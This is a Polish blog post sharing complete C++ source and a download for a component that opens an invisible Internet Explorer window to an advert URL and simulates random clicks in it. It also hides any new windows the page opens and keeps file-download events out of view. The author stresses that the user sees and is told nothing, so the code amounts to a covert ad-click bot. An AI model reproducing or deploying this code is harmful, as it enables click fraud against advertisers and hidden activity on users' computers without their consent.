Tworzenie i obsługa ukrytej przeglądarki

Kod pochodzi z jednego z moich projektów.

Głównym założeniem było otwarcie nowego ukrytego przed użytkownikiem okna przeglądarki i symulowanie losowych kliknięć w różnych miejscach.

Kod składa się z dwóch plików:

Pierwszy z nich ma za zadanie obsługiwać nowe zdarzenia wysyłane do przeglądarki:

[spoiler]
[pawn]#pragma once

#include
#include

extern std::vector< IWebBrowser2* >browsers;
extern bool catchBrowser;

class BrowserEvents: public DWebBrowserEvents2
{
public:
STDMETHODIMP Invoke(DISPID dispIdMember,REFIID riid,LCID lcid,WORD wFlags,DISPPARAMS *pDispParams,VARIANT *pVarResult,EXCEPINFO *pExcepInfo,UINT *puArgErr){
#if defined DEBUG
char bufferLog[ 256 ];
snprintf( bufferLog, sizeof( bufferLog ) – 1 ,”New event dispIdMember %d” , dispIdMember );
logToFile( bufferLog );
#endif

switch(dispIdMember){
case DISPID_NEWWINDOW2:{
if( !catchBrowser ){
return S_OK;
}

IWebBrowser2* currentBrowser;

*( pDispParams->rgvarg[1].pboolVal ) = VARIANT_FALSE;

CoCreateInstance(CLSID_InternetExplorer, NULL, CLSCTX_LOCAL_SERVER,
IID_IWebBrowser2, (void**)¤tBrowser);

if( !currentBrowser ){
return S_OK;
}

currentBrowser -> put_FullScreen( VARIANT_TRUE );
currentBrowser -> put_Visible( VARIANT_FALSE );

*(pDispParams->rgvarg[0].ppdispVal) = (IDispatch*)currentBrowser;

browsers.push_back( currentBrowser );

break;
}
case 270:{ // DISPID_FILEDOWNLOAD
*( pDispParams->rgvarg[1].pboolVal ) = VARIANT_FALSE;

break;
}
}

return S_OK;
}

STDMETHODIMP QueryInterface(REFIID riid, void ** ppvObj){
(*ppvObj)=NULL;

if(!IsEqualIID(riid,IID_IUnknown) && !IsEqualIID(riid,IID_IDispatch) && !IsEqualIID(riid,DIID_DWebBrowserEvents2)) return E_NOINTERFACE;

(*ppvObj)=(void*)this;
return S_OK;
}

STDMETHODIMP_(ULONG) AddRef(){
return 1;
}
STDMETHODIMP_(ULONG) Release(){
return 1;
}

STDMETHODIMP GetTypeInfoCount(UINT *iTInfo){
return E_NOTIMPL;
}
STDMETHODIMP GetTypeInfo(UINT iTInfo, LCID lcid, ITypeInfo **ppTInfo){
return E_NOTIMPL;
}
STDMETHODIMP GetIDsOfNames(REFIID riid, OLECHAR **rgszNames,
UINT cNames, LCID lcid, DISPID *rgDispId){
return E_NOTIMPL;
}
};
[/pawn][/spoiler]

Kolejny jest głownym plikiem od którego zaczyna się cała zabawa

[spoiler]
[pawn]#pragma once

#include

void exitBrowser( void );

std::vector< IWebBrowser2* >browsers;

bool catchBrowser = true;

IConnectionPoint* connectPoint;
BSTR bstrURL;
IWebBrowser2* pBrowser2;
DWORD cookie;

bool endBrowser = false;

void mouseMove( HWND hwnd , DWORD x, DWORD y) {
PostMessage(hwnd, WM_MOUSEMOVE, 0, MAKELPARAM((short)x, (short)y));
}

void mouseClick( HWND hwnd , DWORD x, DWORD y , int time ) {
PostMessage(hwnd, WM_LBUTTONDOWN, 0, MAKELPARAM((short)x, (short)y));
Sleep( time );
PostMessage(hwnd, WM_LBUTTONUP, 0, MAKELPARAM((short)x, (short)y));
}

void mouseWheel( HWND hwnd , int amount ){
//PostMessage(hwnd, WM_MOUSEHWHEEL , MAKELPARAM( amount , 0 ), 0 );
}

BOOL CALLBACK EnumChildProc( HWND hwnd , LPARAM lparam ){
char szClassName[ 256 ];

GetClassName( hwnd , szClassName , sizeof( szClassName ) );

if( strcmp( szClassName , „Internet Explorer_Server” ) != 0 ){
return TRUE;
}

RECT windowRect;
GetWindowRect( hwnd , &windowRect );

for( int i = 0 ; i < ( std::rand() % 3 ) + 1 ; i++ ){
int positionX = ( ( std::rand() ) % ( windowRect.right – windowRect.left ) ) + windowRect.left;
int positionY = ( ( std::rand() ) % ( windowRect.bottom – windowRect.top ) ) + windowRect.top;

mouseMove( hwnd, positionX , positionY );

Sleep( ( std::rand() % 100 ) + 100 );

mouseClick( hwnd , positionX , positionY , ( std::rand() % 200 ) + 200 );

Sleep( ( std::rand() % 300 ) + 300 );
}

return FALSE;
}

DWORD WINAPI openAdvert( PVOID pvParam ){
if (SUCCEEDED(OleInitialize(NULL))){

CoCreateInstance(CLSID_InternetExplorer, NULL, CLSCTX_LOCAL_SERVER,
IID_IWebBrowser2, (void**)&pBrowser2);
if (pBrowser2){
VARIANT vEmpty;
VariantInit(&vEmpty);

bstrURL = SysAllocString(L”http://darkgl.pl”);

HRESULT hr = pBrowser2->Navigate(bstrURL, &vEmpty, &vEmpty, &vEmpty, &vEmpty);
if (SUCCEEDED(hr))
{
pBrowser2->put_Visible( VARIANT_FALSE );
pBrowser2->put_FullScreen( VARIANT_TRUE );
}
else
{
pBrowser2->Quit();

SysFreeString(bstrURL);

OleUninitialize();

catchBrowser = false;

return 0;
}

srand( time( NULL ) );

Sleep( ( std::rand() % 1000 ) + 1000 );

if(std::rand() % 100 > 20 ){
pBrowser2-> Quit();

SysFreeString(bstrURL);
pBrowser2 -> Release();

OleUninitialize();

catchBrowser = false;

return 0;
}

HWND handle;

if( pBrowser2 -> get_HWND( ( long *)&handle ) != S_OK ){
pBrowser2-> Quit();

SysFreeString(bstrURL);
pBrowser2 -> Release();

OleUninitialize();

catchBrowser = false;

return 0;
}

IConnectionPointContainer* pServiceProvider2 = NULL;

BrowserEvents eventsHandle;

if (SUCCEEDED(pBrowser2->QueryInterface(IID_IConnectionPointContainer, (void**)&pServiceProvider2))){

hr = pServiceProvider2 -> FindConnectionPoint( DIID_DWebBrowserEvents2 , &connectPoint );

if( SUCCEEDED( hr ) ){
hr = connectPoint -> Advise( &eventsHandle , &cookie );

if( FAILED( hr ) ){
pServiceProvider2 -> Release();

connectPoint -> Unadvise( cookie );

pBrowser2-> Quit();

SysFreeString(bstrURL);
pBrowser2 -> Release();

OleUninitialize();

catchBrowser = false;

return 0;
}
}

pServiceProvider2 -> Release();
}

IServiceProvider* pServiceProvider = NULL;

if (SUCCEEDED(pBrowser2->QueryInterface(IID_IServiceProvider, (void**)&pServiceProvider))){
IOleWindow* pWindow = NULL;

if (SUCCEEDED(pServiceProvider->QueryService(
SID_SShellBrowser,
IID_IOleWindow,
(void**)&pWindow))){

HWND hwndBrowser = NULL;

if (SUCCEEDED(pWindow->GetWindow(&hwndBrowser))){
EnumChildWindows( hwndBrowser ,EnumChildProc , 0 );
}

pWindow->Release();

catchBrowser = false;
}

pServiceProvider->Release();

}

#if defined DEBUG
logToFile( „On exit threads advert” );
#endif

endBrowser = true;

return 0;
}

OleUninitialize();
}

return 0;
}

void exitBrowser( void ){
if( !endBrowser ){
return;
}

connectPoint -> Unadvise( cookie );

pBrowser2-> Quit();

SysFreeString(bstrURL);
pBrowser2 -> Release();

for( unsigned int iPosition = 0 ; iPosition < browsers.size() ; iPosition++ ){
browsers[ iPosition ] -> Quit();
browsers[ iPosition ] -> Release();
}

OleUninitialize();
}
[/pawn]
[/spoiler]

Cała zabawa zaczyna się od funkcji openAdvert

[spoiler]
[pawn]DWORD WINAPI openAdvert( PVOID pvParam ){
if (SUCCEEDED(OleInitialize(NULL))){

CoCreateInstance(CLSID_InternetExplorer, NULL, CLSCTX_LOCAL_SERVER,
IID_IWebBrowser2, (void**)&pBrowser2);
if (pBrowser2){
VARIANT vEmpty;
VariantInit(&vEmpty);

bstrURL = SysAllocString(L”http://darkgl.pl”);

HRESULT hr = pBrowser2->Navigate(bstrURL, &vEmpty, &vEmpty, &vEmpty, &vEmpty);
if (SUCCEEDED(hr))
{
pBrowser2->put_Visible( VARIANT_FALSE );
pBrowser2->put_FullScreen( VARIANT_TRUE );
}
else
{
pBrowser2->Quit();

SysFreeString(bstrURL);

OleUninitialize();

catchBrowser = false;

return 0;
}

srand( time( NULL ) );[/pawn]
[/spoiler]

Jak widać jest tu tworzony nowy obiekt przeglądarki następnie na tym obieckie są wykowane różne operacje.

  • Ustawianie adresu url
  • Ustawianie trybu fullscreen
  • Ustawianie że przeglądarka jest ukryta ( visible – VARIANT_FALSE )

Dalej po losowym czasie zaczyna się klikanie w różne również losowe miejsca.

Całość jak widać jest najeżona sprawdzaniem czy wystąpiły jakieś błędy. Tak naprawdę po uruchomieniu tego kodu nie zobaczymy nic , użytkownik nie zostanie poinformowany żadnym komunikatem kursor nie zacznie się sam poruszać wszystko dzieje się w tle.

Kod obsługi zdarzeń przeglądarki jest trochę skomplikowany ponieważ musimy obsłużyć ściąganie plików , otwieranie nowych kart itp. itd. tego typu operacje został by odrazu pokazane użytkownikowi a tego nie chcemy.

Dwa pliki do ściągnięcia:
include.zip Download

Jeden komentarz o “Tworzenie i obsługa ukrytej przeglądarki

Dodaj komentarz

Witryna wykorzystuje Akismet, aby ograniczyć spam. Dowiedz się więcej jak przetwarzane są dane komentarzy.